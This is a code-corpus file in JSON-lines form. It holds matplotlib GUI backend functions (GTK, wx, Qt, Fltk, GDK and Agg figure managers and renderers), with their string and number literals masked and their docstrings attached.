{"signature": "def new_figure_manager(num, *args, **kwargs):", "body": "if _debug: print('<STR_LIT>' % fn_name())<EOL>FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>thisFig = FigureClass(*args, **kwargs)<EOL>canvas = FigureCanvasGTKCairo(thisFig)<EOL>return FigureManagerGTK(canvas, num)<EOL>", "docstring": "Create a new figure manager instance", "id": "f17218:m0"}
{"signature": "def _renderer_init(self):", "body": "if _debug: print('<STR_LIT>' % (self.__class__.__name__, _fn_name()))<EOL>self._renderer = RendererGTKCairo (self.figure.dpi)<EOL>", "docstring": "Override to use cairo (rather than GDK) renderer", "id": "f17218:c1:m0"}
{"signature": "def __init__(self, width, height, dpi, vector_renderer, raster_renderer_class=None):", "body": "if raster_renderer_class is None:<EOL><INDENT>raster_renderer_class = RendererAgg<EOL><DEDENT>self._raster_renderer_class = raster_renderer_class<EOL>self._width = width<EOL>self._height = height<EOL>self.dpi = dpi<EOL>assert not vector_renderer.option_image_nocomposite()<EOL>self._vector_renderer = vector_renderer<EOL>self._raster_renderer = None<EOL>self._rasterizing = <NUM_LIT:0><EOL>self._set_current_renderer(vector_renderer)<EOL>", "docstring": "width: The width of the canvas in logical units\n\nheight: The height of the canvas in logical units\n\ndpi: The dpi of the canvas\n\nvector_renderer: An instance of a subclass of RendererBase\nthat will be used for the vector drawing.\n\nraster_renderer_class: The renderer class to use for the\nraster drawing.  If not provided, this will use the Agg\nbackend (which is currently the only viable option anyway.)", "id": "f17219:c0:m0"}
{"signature": "def start_rasterizing(self):", "body": "if self._rasterizing == <NUM_LIT:0>:<EOL><INDENT>self._raster_renderer = self._raster_renderer_class(<EOL>self._width*self.dpi, self._height*self.dpi, self.dpi)<EOL>self._set_current_renderer(self._raster_renderer)<EOL><DEDENT>self._rasterizing += <NUM_LIT:1><EOL>", "docstring": "Enter \"raster\" mode.  All subsequent drawing commands (until\nstop_rasterizing is called) will be drawn with the raster\nbackend.\n\nIf start_rasterizing is called multiple times before\nstop_rasterizing is called, this method has no effect.", "id": "f17219:c0:m2"}
{"signature": "def stop_rasterizing(self):", "body": "self._rasterizing -= <NUM_LIT:1><EOL>if self._rasterizing == <NUM_LIT:0>:<EOL><INDENT>self._set_current_renderer(self._vector_renderer)<EOL>width, height = self._width * self.dpi, self._height * self.dpi<EOL>buffer, bounds = self._raster_renderer.tostring_rgba_minimized()<EOL>l, b, w, h = bounds<EOL>if w > <NUM_LIT:0> and h > <NUM_LIT:0>:<EOL><INDENT>image = frombuffer(buffer, w, h, True)<EOL>image.is_grayscale = False<EOL>image.flipud_out()<EOL>self._renderer.draw_image(l, height - b - h, image, None)<EOL><DEDENT>self._raster_renderer = None<EOL>self._rasterizing = False<EOL><DEDENT>", "docstring": "Exit \"raster\" mode.  All of the drawing that was done since\nthe last start_rasterizing command will be copied to the\nvector backend by calling draw_image.\n\nIf stop_rasterizing is called multiple times before\nstart_rasterizing is called, this method has no effect.", "id": "f17219:c0:m3"}
{"signature": "def new_figure_manager(num, *args, **kwargs):", "body": "<EOL>DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:3>, None)<EOL>backend_wx._create_wx_app()<EOL>FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>fig = FigureClass(*args, **kwargs)<EOL>frame = FigureFrameWxAgg(num, fig)<EOL>figmgr = frame.get_figure_manager()<EOL>if matplotlib.is_interactive():<EOL><INDENT>figmgr.frame.Show()<EOL><DEDENT>return figmgr<EOL>", "docstring": "Create a new figure manager instance", "id": "f17220:m0"}
{"signature": "def _py_convert_agg_to_wx_image(agg, bbox):", "body": "image = wx.EmptyImage(int(agg.width), int(agg.height))<EOL>image.SetData(agg.tostring_rgb())<EOL>if bbox is None:<EOL><INDENT>return image<EOL><DEDENT>else:<EOL><INDENT>return wx.ImageFromBitmap(_clipped_image_as_bitmap(image, bbox))<EOL><DEDENT>", "docstring": "Convert the region of the agg buffer bounded by bbox to a wx.Image.  If\nbbox is None, the entire buffer is converted.\n\nNote: agg must be a backend_agg.RendererAgg instance.", "id": "f17220:m1"}
{"signature": "def _py_convert_agg_to_wx_bitmap(agg, bbox):", "body": "if bbox is None:<EOL><INDENT>return wx.BitmapFromImage(_py_convert_agg_to_wx_image(agg, None))<EOL><DEDENT>else:<EOL><INDENT>return _clipped_image_as_bitmap(<EOL>_py_convert_agg_to_wx_image(agg, None),<EOL>bbox)<EOL><DEDENT>", "docstring": "Convert the region of the agg buffer bounded by bbox to a wx.Bitmap.  If\nbbox is None, the entire buffer is converted.\n\nNote: agg must be a backend_agg.RendererAgg instance.", "id": "f17220:m2"}
{"signature": "def _clipped_image_as_bitmap(image, bbox):", "body": "l, b, width, height = bbox.get_bounds()<EOL>r = l + width<EOL>t = b + height<EOL>srcBmp = wx.BitmapFromImage(image)<EOL>srcDC = wx.MemoryDC()<EOL>srcDC.SelectObject(srcBmp)<EOL>destBmp = wx.EmptyBitmap(int(width), int(height))<EOL>destDC = wx.MemoryDC()<EOL>destDC.SelectObject(destBmp)<EOL>destDC.BeginDrawing()<EOL>x = int(l)<EOL>y = int(image.GetHeight() - t)<EOL>destDC.Blit(<NUM_LIT:0>, <NUM_LIT:0>, int(width), int(height), srcDC, x, y)<EOL>destDC.EndDrawing()<EOL>srcDC.SelectObject(wx.NullBitmap)<EOL>destDC.SelectObject(wx.NullBitmap)<EOL>return destBmp<EOL>", "docstring": "Convert the region of a wx.Image bounded by bbox to a wx.Bitmap.", "id": "f17220:m3"}
{"signature": "def _py_WX28_convert_agg_to_wx_image(agg, bbox):", "body": "if bbox is None:<EOL><INDENT>image = wx.EmptyImage(int(agg.width), int(agg.height))<EOL>image.SetData(agg.tostring_rgb())<EOL>return image<EOL><DEDENT>else:<EOL><INDENT>return wx.ImageFromBitmap(_WX28_clipped_agg_as_bitmap(agg, bbox))<EOL><DEDENT>", "docstring": "Convert the region of the agg buffer bounded by bbox to a wx.Image.  If\nbbox is None, the entire buffer is converted.\n\nNote: agg must be a backend_agg.RendererAgg instance.", "id": "f17220:m4"}
{"signature": "def _py_WX28_convert_agg_to_wx_bitmap(agg, bbox):", "body": "if bbox is None:<EOL><INDENT>return wx.BitmapFromBufferRGBA(int(agg.width), int(agg.height),<EOL>agg.buffer_rgba(<NUM_LIT:0>, <NUM_LIT:0>))<EOL><DEDENT>else:<EOL><INDENT>return _WX28_clipped_agg_as_bitmap(agg, bbox)<EOL><DEDENT>", "docstring": "Convert the region of the agg buffer bounded by bbox to a wx.Bitmap.  If\nbbox is None, the entire buffer is converted.\n\nNote: agg must be a backend_agg.RendererAgg instance.", "id": "f17220:m5"}
{"signature": "def _WX28_clipped_agg_as_bitmap(agg, bbox):", "body": "l, b, width, height = bbox.get_bounds()<EOL>r = l + width<EOL>t = b + height<EOL>srcBmp = wx.BitmapFromBufferRGBA(int(agg.width), int(agg.height),<EOL>agg.buffer_rgba(<NUM_LIT:0>, <NUM_LIT:0>))<EOL>srcDC = wx.MemoryDC()<EOL>srcDC.SelectObject(srcBmp)<EOL>destBmp = wx.EmptyBitmap(int(width), int(height))<EOL>destDC = wx.MemoryDC()<EOL>destDC.SelectObject(destBmp)<EOL>destDC.BeginDrawing()<EOL>x = int(l)<EOL>y = int(int(agg.height) - t)<EOL>destDC.Blit(<NUM_LIT:0>, <NUM_LIT:0>, int(width), int(height), srcDC, x, y)<EOL>destDC.EndDrawing()<EOL>srcDC.SelectObject(wx.NullBitmap)<EOL>destDC.SelectObject(wx.NullBitmap)<EOL>return destBmp<EOL>", "docstring": "Convert the region of a the agg buffer bounded by bbox to a wx.Bitmap.\n\nNote: agg must be a backend_agg.RendererAgg instance.", "id": "f17220:m6"}
{"signature": "def _use_accelerator(state):", "body": "global _convert_agg_to_wx_image<EOL>global _convert_agg_to_wx_bitmap<EOL>if getattr(wx, '<STR_LIT>', '<STR_LIT>')[<NUM_LIT:0>:<NUM_LIT:3>] < '<STR_LIT>':<EOL><INDENT>if state and _wxagg is not None:<EOL><INDENT>_convert_agg_to_wx_image  = _wxagg.convert_agg_to_wx_image<EOL>_convert_agg_to_wx_bitmap = _wxagg.convert_agg_to_wx_bitmap<EOL><DEDENT>else:<EOL><INDENT>_convert_agg_to_wx_image  = _py_convert_agg_to_wx_image<EOL>_convert_agg_to_wx_bitmap = _py_convert_agg_to_wx_bitmap<EOL><DEDENT><DEDENT>else:<EOL><INDENT>_convert_agg_to_wx_image  = _py_WX28_convert_agg_to_wx_image<EOL>_convert_agg_to_wx_bitmap = _py_WX28_convert_agg_to_wx_bitmap<EOL><DEDENT>", "docstring": "Enable or disable the WXAgg accelerator, if it is present and is also\ncompatible with whatever version of wxPython is in use.", "id": "f17220:m7"}
{"signature": "def draw(self, drawDC=None):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>FigureCanvasAgg.draw(self)<EOL>self.bitmap = _convert_agg_to_wx_bitmap(self.get_renderer(), None)<EOL>self._isDrawn = True<EOL>self.gui_repaint(drawDC=drawDC)<EOL>", "docstring": "Render the figure using agg.", "id": "f17220:c1:m0"}
{"signature": "def blit(self, bbox=None):", "body": "if bbox is None:<EOL><INDENT>self.bitmap = _convert_agg_to_wx_bitmap(self.get_renderer(), None)<EOL>self.gui_repaint()<EOL>return<EOL><DEDENT>l, b, w, h = bbox.bounds<EOL>r = l + w<EOL>t = b + h<EOL>x = int(l)<EOL>y = int(self.bitmap.GetHeight() - t)<EOL>srcBmp = _convert_agg_to_wx_bitmap(self.get_renderer(), None)<EOL>srcDC = wx.MemoryDC()<EOL>srcDC.SelectObject(srcBmp)<EOL>destDC = wx.MemoryDC()<EOL>destDC.SelectObject(self.bitmap)<EOL>destDC.BeginDrawing()<EOL>destDC.Blit(x, y, int(w), int(h), srcDC, x, y)<EOL>destDC.EndDrawing()<EOL>destDC.SelectObject(wx.NullBitmap)<EOL>srcDC.SelectObject(wx.NullBitmap)<EOL>self.gui_repaint()<EOL>", "docstring": "Transfer the region of the agg buffer defined by bbox to the display.\nIf bbox is None, the entire buffer is transferred.", "id": "f17220:c1:m1"}
{"signature": "def ishow():", "body": "for manager in Gcf.get_all_fig_managers():<EOL><INDENT>manager.show()<EOL><DEDENT>if show._needmain:<EOL><INDENT>_thread.start_new_thread(Fltk_run_interactive,())<EOL><DEDENT>show._needmain = False<EOL>", "docstring": "Show all the figures and enter the fltk mainloop in another thread\nThis allows to keep hand in interractive python session\nWarning: does not work under windows\nThis should be the last line of your script", "id": "f17221:m3"}
{"signature": "def show():", "body": "for manager in Gcf.get_all_fig_managers():<EOL><INDENT>manager.show()<EOL><DEDENT>if show._needmain:<EOL><INDENT>Fltk.Fl.run()<EOL>show._needmain = False<EOL><DEDENT>", "docstring": "Show all the figures and enter the fltk mainloop\n\nThis should be the last line of your script", "id": "f17221:m4"}
{"signature": "def new_figure_manager(num, *args, **kwargs):", "body": "FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>figure = FigureClass(*args, **kwargs)<EOL>window = Fltk.Fl_Double_Window(<NUM_LIT:10>,<NUM_LIT:10>,<NUM_LIT:30>,<NUM_LIT:30>)<EOL>canvas = FigureCanvasFltkAgg(figure)<EOL>window.end()<EOL>window.show()<EOL>window.make_current()<EOL>figManager = FigureManagerFltkAgg(canvas, num, window)<EOL>if matplotlib.is_interactive():<EOL><INDENT>figManager.show()<EOL><DEDENT>return figManager<EOL>", "docstring": "Create a new figure manager instance", "id": "f17221:m5"}
{"signature": "def new_figure_manager( num, *args, **kwargs ):", "body": "if DEBUG: print('<STR_LIT>')<EOL>FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>thisFig = FigureClass( *args, **kwargs )<EOL>canvas = FigureCanvasQTAgg( thisFig )<EOL>return FigureManagerQTAgg( canvas, num )<EOL>", "docstring": "Create a new figure manager instance", "id": "f17222:m0"}
{"signature": "def paintEvent( self, e ):", "body": "FigureCanvasQT.paintEvent( self, e )<EOL>if DEBUG: print('<STR_LIT>', self,self.get_width_height())<EOL>p = qt.QPainter( self )<EOL>if type(self.replot) is bool: <EOL><INDENT>if self.replot:<EOL><INDENT>FigureCanvasAgg.draw( self )<EOL>if ( qt.QImage.systemByteOrder() == qt.QImage.LittleEndian ):<EOL><INDENT>stringBuffer = self.renderer._renderer.tostring_bgra()<EOL><DEDENT>else:<EOL><INDENT>stringBuffer = self.renderer._renderer.tostring_argb()<EOL><DEDENT>qImage = qt.QImage( stringBuffer, self.renderer.width,<EOL>self.renderer.height, <NUM_LIT:32>, None, <NUM_LIT:0>,<EOL>qt.QImage.IgnoreEndian )<EOL>self.pixmap.convertFromImage( qImage, qt.QPixmap.Color )<EOL><DEDENT>p.drawPixmap( qt.QPoint( <NUM_LIT:0>, <NUM_LIT:0> ), self.pixmap )<EOL>if ( self.drawRect ):<EOL><INDENT>p.setPen( qt.QPen( qt.Qt.black, <NUM_LIT:1>, qt.Qt.DotLine ) )<EOL>p.drawRect( self.rect[<NUM_LIT:0>], self.rect[<NUM_LIT:1>], self.rect[<NUM_LIT:2>], self.rect[<NUM_LIT:3>] )<EOL><DEDENT><DEDENT>else:<EOL><INDENT>bbox = self.replot<EOL>l, b, r, t = bbox.extents<EOL>w = int(r) - int(l)<EOL>h = int(t) - int(b)<EOL>reg = self.copy_from_bbox(bbox)<EOL>stringBuffer = reg.to_string_argb()<EOL>qImage = qt.QImage(stringBuffer, w, h, <NUM_LIT:32>, None, <NUM_LIT:0>, qt.QImage.IgnoreEndian)<EOL>self.pixmap.convertFromImage(qImage, qt.QPixmap.Color)<EOL>p.drawPixmap(qt.QPoint(l, self.renderer.height-t), self.pixmap)<EOL><DEDENT>p.end()<EOL>self.replot = False<EOL>self.drawRect = False<EOL>", "docstring": "Draw to the Agg backend and then copy the image to the qt.drawable.\nIn Qt, all drawing should be done inside of here when a widget is\nshown onscreen.", "id": "f17222:c2:m3"}
{"signature": "def draw( self ):", "body": "if DEBUG: print(\"<STR_LIT>\", self)<EOL>self.replot = True<EOL>FigureCanvasAgg.draw(self)<EOL>self.repaint(False)<EOL>", "docstring": "Draw the figure when xwindows is ready for the update", "id": "f17222:c2:m4"}
{"signature": "def blit(self, bbox=None):", "body": "self.replot = bbox<EOL>self.repaint(False)<EOL>", "docstring": "Blit the region in bbox", "id": "f17222:c2:m5"}
{"signature": "def new_figure_manager(num, *args, **kwargs):", "body": "FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>thisFig = FigureClass(*args, **kwargs)<EOL>canvas  = FigureCanvasGDK(thisFig)<EOL>manager = FigureManagerBase(canvas, num)<EOL>return manager<EOL>", "docstring": "Create a new figure manager instance", "id": "f17223:m1"}
{"signature": "def set_width_height (self, width, height):", "body": "self.width, self.height = width, height<EOL>", "docstring": "w,h is the figure w,h not the pixmap w,h", "id": "f17223:c0:m2"}
{"signature": "def _draw_rotated_text(self, gc, x, y, s, prop, angle):", "body": "<EOL>gdrawable = self.gdkDrawable<EOL>ggc = gc.gdkGC<EOL>layout, inkRect, logicalRect = self._get_pango_layout(s, prop)<EOL>l, b, w, h = inkRect<EOL>x = int(x-h)<EOL>y = int(y-w)<EOL>if x < <NUM_LIT:0> or y < <NUM_LIT:0>: <EOL><INDENT>return<EOL><DEDENT>key = (x,y,s,angle,hash(prop))<EOL>imageVert = self.rotated.get(key)<EOL>if imageVert != None:<EOL><INDENT>gdrawable.draw_image(ggc, imageVert, <NUM_LIT:0>, <NUM_LIT:0>, x, y, h, w)<EOL>return<EOL><DEDENT>imageBack = gdrawable.get_image(x, y, w, h)<EOL>imageVert = gdrawable.get_image(x, y, h, w)<EOL>imageFlip = gtk.gdk.Image(type=gdk.IMAGE_FASTEST,<EOL>visual=gdrawable.get_visual(),<EOL>width=w, height=h)<EOL>if imageFlip == None or imageBack == None or imageVert == None:<EOL><INDENT>warnings.warn(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>imageFlip.set_colormap(self._cmap)<EOL>for i in range(w):<EOL><INDENT>for j in range(h):<EOL><INDENT>imageFlip.put_pixel(i, j, imageVert.get_pixel(j,w-i-<NUM_LIT:1>) )<EOL><DEDENT><DEDENT>gdrawable.draw_image(ggc, imageFlip, <NUM_LIT:0>, <NUM_LIT:0>, x, y, w, h)<EOL>gdrawable.draw_layout(ggc, x, y-b, layout)<EOL>imageIn  = gdrawable.get_image(x, y, w, h)<EOL>for i in range(w):<EOL><INDENT>for j in range(h):<EOL><INDENT>imageVert.put_pixel(j, i, imageIn.get_pixel(w-i-<NUM_LIT:1>,j) )<EOL><DEDENT><DEDENT>gdrawable.draw_image(ggc, imageBack, <NUM_LIT:0>, <NUM_LIT:0>, x, y, w, h)<EOL>gdrawable.draw_image(ggc, imageVert, <NUM_LIT:0>, <NUM_LIT:0>, x, y, h, w)<EOL>self.rotated[key] = imageVert<EOL>", "docstring": "Draw the text rotated 90 degrees, other angles are not supported", "id": "f17223:c0:m7"}
{"signature": "def _get_pango_layout(self, s, prop):", "body": "<EOL>key = self.dpi, s, hash(prop)<EOL>value = self.layoutd.get(key)<EOL>if value != None:<EOL><INDENT>return value<EOL><DEDENT>size = prop.get_size_in_points() * self.dpi / <NUM_LIT><EOL>size = round(size)<EOL>font_str = '<STR_LIT>' % (prop.get_name(), prop.get_style(), size,)<EOL>font = pango.FontDescription(font_str)<EOL>font.set_weight(self.fontweights[prop.get_weight()])<EOL>layout = self.gtkDA.create_pango_layout(s)<EOL>layout.set_font_description(font)<EOL>inkRect, logicalRect = layout.get_pixel_extents()<EOL>self.layoutd[key] = layout, inkRect, logicalRect<EOL>return layout, inkRect, logicalRect<EOL>", "docstring": "Create a pango layout instance for Text 's' with properties 'prop'.\nReturn - pango layout (from cache if already exists)\n\nNote that pango assumes a logical DPI of 96\nRef: pango/fonts.c/pango_font_description_set_size() manual page", "id": "f17223:c0:m8"}
{"signature": "def rgb_to_gdk_color(self, rgb):", "body": "try:<EOL><INDENT>return self._cached[tuple(rgb)]<EOL><DEDENT>except KeyError:<EOL><INDENT>color = self._cached[tuple(rgb)] =self._cmap.alloc_color(<EOL>int(rgb[<NUM_LIT:0>]*<NUM_LIT>),int(rgb[<NUM_LIT:1>]*<NUM_LIT>),int(rgb[<NUM_LIT:2>]*<NUM_LIT>))<EOL>return color<EOL><DEDENT>", "docstring": "rgb - an RGB tuple (three 0.0-1.0 values)\nreturn an allocated gtk.gdk.Color", "id": "f17223:c1:m1"}
{"signature": "def new_figure_manager(num, *args, **kwargs):", "body": "if DEBUG: print('<STR_LIT>')<EOL>FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>thisFig = FigureClass(*args, **kwargs)<EOL>canvas = FigureCanvasGTKAgg(thisFig)<EOL>return FigureManagerGTKAgg(canvas, num)<EOL>if DEBUG: print('<STR_LIT>')<EOL>", "docstring": "Create a new figure manager instance", "id": "f17224:m0"}
{"signature": "def pylab_setup():", "body": "<EOL>if backend.startswith('<STR_LIT>'):<EOL><INDENT>backend_name = backend[<NUM_LIT:9>:]<EOL><DEDENT>else:<EOL><INDENT>backend_name = '<STR_LIT>'+backend<EOL>backend_name = backend_name.lower() <EOL>backend_name = '<STR_LIT>'%backend_name.lower()<EOL><DEDENT>backend_mod = __import__(backend_name,<EOL>globals(),locals(),[backend_name])<EOL>new_figure_manager = backend_mod.new_figure_manager<EOL>def do_nothing_show(*args, **kwargs):<EOL><INDENT>frame = inspect.currentframe()<EOL>fname = frame.f_back.f_code.co_filename<EOL>if fname in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>warnings.warn(\"\"\"<STR_LIT>\"\"\" %<EOL>(backend, matplotlib.matplotlib_fname()))<EOL><DEDENT><DEDENT>def do_nothing(*args, **kwargs): pass<EOL>backend_version = getattr(backend_mod,'<STR_LIT>', '<STR_LIT>')<EOL>show = getattr(backend_mod, '<STR_LIT>', do_nothing_show)<EOL>draw_if_interactive = getattr(backend_mod, '<STR_LIT>', do_nothing)<EOL>if backend.lower() in ['<STR_LIT>','<STR_LIT>']:<EOL><INDENT>Toolbar = backend_mod.Toolbar<EOL>__all__.append('<STR_LIT>')<EOL><DEDENT>matplotlib.verbose.report('<STR_LIT>' % (backend,backend_version))<EOL>return new_figure_manager, draw_if_interactive, show<EOL>", "docstring": "return new_figure_manager, draw_if_interactive and show for pylab", "id": "f17225:m0"}
{"signature": "def new_figure_manager(num, *args, **kwargs):", "body": "if __debug__: verbose.report('<STR_LIT>',<EOL>'<STR_LIT>')<EOL>FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>thisFig = FigureClass(*args, **kwargs)<EOL>canvas = FigureCanvasAgg(thisFig)<EOL>manager = FigureManagerBase(canvas, num)<EOL>return manager<EOL>", "docstring": "Create a new figure manager instance", "id": "f17226:m0"}
{"signature": "def draw_mathtext(self, gc, x, y, s, prop, angle):", "body": "if __debug__: verbose.report('<STR_LIT>',<EOL>'<STR_LIT>')<EOL>ox, oy, width, height, descent, font_image, used_characters =self.mathtext_parser.parse(s, self.dpi, prop)<EOL>x = int(x) + ox<EOL>y = int(y) - oy<EOL>self._renderer.draw_text_image(font_image, x, y + <NUM_LIT:1>, angle, gc)<EOL>", "docstring": "Draw the math text using matplotlib.mathtext", "id": "f17226:c0:m2"}
{"signature": "def draw_text(self, gc, x, y, s, prop, angle, ismath):", "body": "if __debug__: verbose.report('<STR_LIT>', '<STR_LIT>')<EOL>if ismath:<EOL><INDENT>return self.draw_mathtext(gc, x, y, s, prop, angle)<EOL><DEDENT>font = self._get_agg_font(prop)<EOL>if font is None: return None<EOL>if len(s) == <NUM_LIT:1> and ord(s) > <NUM_LIT>:<EOL><INDENT>font.load_char(ord(s), flags=LOAD_FORCE_AUTOHINT)<EOL><DEDENT>else:<EOL><INDENT>font.set_text(s, <NUM_LIT:0>, flags=LOAD_FORCE_AUTOHINT)<EOL><DEDENT>font.draw_glyphs_to_bitmap()<EOL>self._renderer.draw_text_image(font.get_image(), int(x), int(y) + <NUM_LIT:1>, angle, gc)<EOL>", "docstring": "Render the text", "id": "f17226:c0:m3"}
{"signature": "def get_text_width_height_descent(self, s, prop, ismath):", "body": "if ismath=='<STR_LIT>':<EOL><INDENT>size = prop.get_size_in_points()<EOL>texmanager = self.get_texmanager()<EOL>Z = texmanager.get_grey(s, size, self.dpi)<EOL>m,n = Z.shape<EOL>return n, m, <NUM_LIT:0><EOL><DEDENT>if ismath:<EOL><INDENT>ox, oy, width, height, descent, fonts, used_characters =self.mathtext_parser.parse(s, self.dpi, prop)<EOL>return width, height, descent<EOL><DEDENT>font = self._get_agg_font(prop)<EOL>font.set_text(s, <NUM_LIT:0.0>, flags=LOAD_FORCE_AUTOHINT)  <EOL>w, h = font.get_width_height()<EOL>d = font.get_descent()<EOL>w /= <NUM_LIT>  <EOL>h /= <NUM_LIT><EOL>d /= <NUM_LIT><EOL>return w, h, d<EOL>", "docstring": "get the width and height in display coords of the string s\nwith FontPropertry prop\n\n# passing rgb is a little hack to make cacheing in the\n# texmanager more efficient.  It is not meant to be used\n# outside the backend", "id": "f17226:c0:m4"}
{"signature": "def get_canvas_width_height(self):", "body": "return self.width, self.height<EOL>", "docstring": "return the canvas width and height in display coords", "id": "f17226:c0:m6"}
{"signature": "def _get_agg_font(self, prop):", "body": "if __debug__: verbose.report('<STR_LIT>',<EOL>'<STR_LIT>')<EOL>key = hash(prop)<EOL>font = self._fontd.get(key)<EOL>if font is None:<EOL><INDENT>fname = findfont(prop)<EOL>font = self._fontd.get(fname)<EOL>if font is None:<EOL><INDENT>font = FT2Font(str(fname))<EOL>self._fontd[fname] = font<EOL><DEDENT>self._fontd[key] = font<EOL><DEDENT>font.clear()<EOL>size = prop.get_size_in_points()<EOL>font.set_size(size, self.dpi)<EOL>return font<EOL>", "docstring": "Get the font for text instance t, cacheing for efficiency", "id": "f17226:c0:m7"}
{"signature": "def points_to_pixels(self, points):", "body": "if __debug__: verbose.report('<STR_LIT>',<EOL>'<STR_LIT>')<EOL>return points*self.dpi/<NUM_LIT><EOL>", "docstring": "convert point measures to pixes using dpi and the pixels per\ninch of the display", "id": "f17226:c0:m8"}
{"signature": "def draw(self):", "body": "if __debug__: verbose.report('<STR_LIT>', '<STR_LIT>')<EOL>self.renderer = self.get_renderer()<EOL>self.figure.draw(self.renderer)<EOL>", "docstring": "Draw the figure using the renderer", "id": "f17226:c1:m2"}
{"signature": "def debug_on_error(type, value, tb):", "body": "traceback.print_exc(type, value, tb)<EOL>print()<EOL>pdb.pm()<EOL>", "docstring": "Code due to Thomas Heller - published in Python Cookbook (O'Reilley)", "id": "f17227:m1"}
{"signature": "def error_msg_wx(msg, parent=None):", "body": "dialog =wx.MessageDialog(parent  = parent,<EOL>message = msg,<EOL>caption = '<STR_LIT>',<EOL>style=wx.OK | wx.CENTRE)<EOL>dialog.ShowModal()<EOL>dialog.Destroy()<EOL>return None<EOL>", "docstring": "Signal an error condition -- in a GUI, popup a error dialog", "id": "f17227:m2"}
{"signature": "def raise_msg_to_str(msg):", "body": "if not is_string_like(msg):<EOL><INDENT>msg = '<STR_LIT:\\n>'.join(map(str, msg))<EOL><DEDENT>return msg<EOL>", "docstring": "msg is a return arg from a raise.  Join with new lines", "id": "f17227:m3"}
{"signature": "def _create_wx_app():", "body": "wxapp = wx.GetApp()<EOL>if wxapp is None:<EOL><INDENT>wxapp = wx.PySimpleApp()<EOL>wxapp.SetExitOnFrameDelete(True)<EOL>_create_wx_app.theWxApp = wxapp<EOL><DEDENT>", "docstring": "Creates a wx.PySimpleApp instance if a wx.App has not been created.", "id": "f17227:m4"}
{"signature": "def draw_if_interactive():", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, None)<EOL>if matplotlib.is_interactive():<EOL><INDENT>figManager = Gcf.get_active()<EOL>if figManager is not None:<EOL><INDENT>figManager.canvas.draw()<EOL><DEDENT><DEDENT>", "docstring": "This should be overriden in a windowing environment if drawing\nshould be done in interactive python mode", "id": "f17227:m5"}
{"signature": "def show():", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:3>, None)<EOL>for figwin in Gcf.get_all_fig_managers():<EOL><INDENT>figwin.frame.Show()<EOL><DEDENT>if show._needmain and not matplotlib.is_interactive():<EOL><INDENT>wxapp = wx.GetApp()<EOL>if wxapp is not None:<EOL><INDENT>imlr = getattr(wxapp, '<STR_LIT>', lambda: False)<EOL>if not imlr():<EOL><INDENT>wxapp.MainLoop()<EOL><DEDENT><DEDENT>show._needmain = False<EOL><DEDENT>", "docstring": "Current implementation assumes that matplotlib is executed in a PyCrust\nshell. It appears to be possible to execute wxPython applications from\nwithin a PyCrust without having to ensure that wxPython has been created\nin a secondary thread (e.g. SciPy gui_thread).\n\nUnfortunately, gui_thread seems to introduce a number of further\ndependencies on SciPy modules, which I do not wish to introduce\ninto the backend at this point. If there is a need I will look\ninto this in a later release.", "id": "f17227:m6"}
{"signature": "def new_figure_manager(num, *args, **kwargs):", "body": "<EOL>DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:3>, None)<EOL>_create_wx_app()<EOL>FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>fig = FigureClass(*args, **kwargs)<EOL>frame = FigureFrameWx(num, fig)<EOL>figmgr = frame.get_figure_manager()<EOL>if matplotlib.is_interactive():<EOL><INDENT>figmgr.frame.Show()<EOL><DEDENT>return figmgr<EOL>", "docstring": "Create a new figure manager instance", "id": "f17227:m7"}
{"signature": "def _load_bitmap(filename):", "body": "basedir = os.path.join(rcParams['<STR_LIT>'],'<STR_LIT>')<EOL>bmpFilename = os.path.normpath(os.path.join(basedir, filename))<EOL>if not os.path.exists(bmpFilename):<EOL><INDENT>raise IOError('<STR_LIT>'%bmpFilename)<EOL><DEDENT>bmp = wx.Bitmap(bmpFilename)<EOL>return bmp<EOL>", "docstring": "Load a bitmap file from the backends/images subdirectory in which the\nmatplotlib library is installed. The filename parameter should not\ncontain any path information as this is determined automatically.\n\nReturns a wx.Bitmap object", "id": "f17227:m8"}
{"signature": "def __init__(self, bitmap, dpi):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>if wx.VERSION_STRING < \"<STR_LIT>\":<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>self.width  = bitmap.GetWidth()<EOL>self.height = bitmap.GetHeight()<EOL>self.bitmap = bitmap<EOL>self.fontd = {}<EOL>self.dpi = dpi<EOL>self.gc = None<EOL>", "docstring": "Initialise a wxWindows renderer instance.", "id": "f17227:c1:m0"}
{"signature": "def get_text_width_height_descent(self, s, prop, ismath):", "body": "<EOL>if ismath: s = self.strip_math(s)<EOL>if self.gc is None:<EOL><INDENT>gc = self.new_gc()<EOL><DEDENT>else:<EOL><INDENT>gc = self.gc<EOL><DEDENT>gfx_ctx = gc.gfx_ctx<EOL>font = self.get_wx_font(s, prop)<EOL>gfx_ctx.SetFont(font, wx.BLACK)<EOL>w, h, descent, leading = gfx_ctx.GetFullTextExtent(s)<EOL>return w, h, descent<EOL>", "docstring": "get the width and height in display coords of the string s\nwith FontPropertry prop", "id": "f17227:c1:m3"}
{"signature": "def get_canvas_width_height(self):", "body": "return self.width, self.height<EOL>", "docstring": "return the canvas width and height in display coords", "id": "f17227:c1:m4"}
